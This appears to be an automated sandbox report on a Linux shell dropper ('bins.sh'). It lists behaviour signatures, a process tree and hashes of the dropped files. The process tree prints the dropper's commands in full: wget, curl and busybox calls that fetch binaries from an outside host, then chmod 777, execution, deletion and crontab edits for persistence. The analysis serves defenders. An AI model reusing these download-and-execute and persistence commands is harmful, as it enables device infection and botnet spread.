Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 06:37

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e644c93a94d80ccf3744e3b8451a1c6f

  • SHA1

    f18ef7c83700017f88098b81fb8b5a9f5028f15f

  • SHA256

    669b73ba758a82a02287f377c37c4551f2e4105534222f2e4c78631737d4655e

  • SHA512

    e0add2510735af2b797129d405d478bded2f593ee6a58022c237f29c8574ba827629bd32ac8395b329a4626bca7acd9345c1f7536cb101c47c3090609e52eb49

  • SSDEEP

    192:6kcnMALGO3vZ/VmZ0woYI0w0k6MALGOtvh:6xNVmSal

Malware Config

Signatures

  • Contacts a large (1538) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 20 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:702
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:719
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod 777 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • File and Directory Permissions Modification
          PID:729
        • /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          ./osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Executes dropped EXE
          PID:730
        • /bin/rm
          rm osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
            PID:732
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:733
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:734
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            ./BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • Executes dropped EXE
            PID:738
          • /bin/rm
            rm BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:741
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:743
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:752
            • /bin/chmod
              chmod 777 NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • File and Directory Permissions Modification
              PID:762
            • /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              ./NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:764
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:766
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:767
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:769
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:770
                • /bin/rm
                  rm NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
                  2⤵
                    PID:772
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                    2⤵
                    • System Network Configuration Discovery
                    PID:862
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                    2⤵
                    • System Network Configuration Discovery
                    PID:863
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:870
                  • /bin/chmod
                    chmod 777 CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                    2⤵
                    • File and Directory Permissions Modification
                    PID:873
                  • /tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                    ./CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                    2⤵
                    • Executes dropped EXE
                    PID:874
                  • /bin/rm
                    rm CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                    2⤵
                      PID:881
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                      2⤵
                      • System Network Configuration Discovery
                      PID:883
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                      2⤵
                      • System Network Configuration Discovery
                      PID:884
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:886
                    • /bin/chmod
                      chmod 777 qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                      2⤵
                      • File and Directory Permissions Modification
                      PID:890
                    • /tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                      ./qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                      2⤵
                      • Executes dropped EXE
                      PID:892
                    • /bin/rm
                      rm qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61
                      2⤵
                        PID:893
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                        2⤵
                        • System Network Configuration Discovery
                        PID:896
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                        2⤵
                        • System Network Configuration Discovery
                        PID:906
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:907
                      • /bin/chmod
                        chmod 777 o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                        2⤵
                        • File and Directory Permissions Modification
                        PID:925
                      • /tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                        ./o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                        2⤵
                        • Executes dropped EXE
                        PID:926
                      • /bin/rm
                        rm o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP
                        2⤵
                          PID:927
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                          2⤵
                            PID:928
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                            2⤵
                              PID:929
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                              2⤵
                              • Writes file to tmp directory
                              PID:930
                            • /bin/chmod
                              chmod 777 wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                              2⤵
                              • File and Directory Permissions Modification
                              PID:931
                            • /tmp/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                              ./wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                              2⤵
                              • Executes dropped EXE
                              PID:932
                            • /bin/rm
                              rm wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0
                              2⤵
                                PID:934
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
                                2⤵
                                • System Network Configuration Discovery
                                PID:935
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/4cpWLxNrT5Fqbb2vGxpd9vw3CDBJ6vFARP
                                2⤵
                                • System Network Configuration Discovery
                                PID:940

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/o0ZRtAPu0RW0ExB9CSA6I5cYVPx2GqZ2kP

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX

                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                            • /tmp/qhvgNbzhL0vwYNJAjfWQvijxB312fcwb61

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/wuDtEReN1mKqff26708hgYbu8Q5wvYNSD0

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /var/spool/cron/crontabs/tmp.P4QSDq

                              Filesize

                              210B

                              MD5

                              d8f1e7a82f6c785cfd27051fc88c4fa5

                              SHA1

                              8dc1c953d8feb75164bf78521b1522f723df0272

                              SHA256

                              2ccae9fdc862fc160504300382c3f1dcda56941af029842bc7d9b2841db59d83

                              SHA512

                              56104e53ed1e2fc27e6038a46ac3ed09628b923c5b7201fd10e0d37e911a396b61dc75a68705e2a0141b7945b649d235d96a988a2884babac0461a9b4f3eb317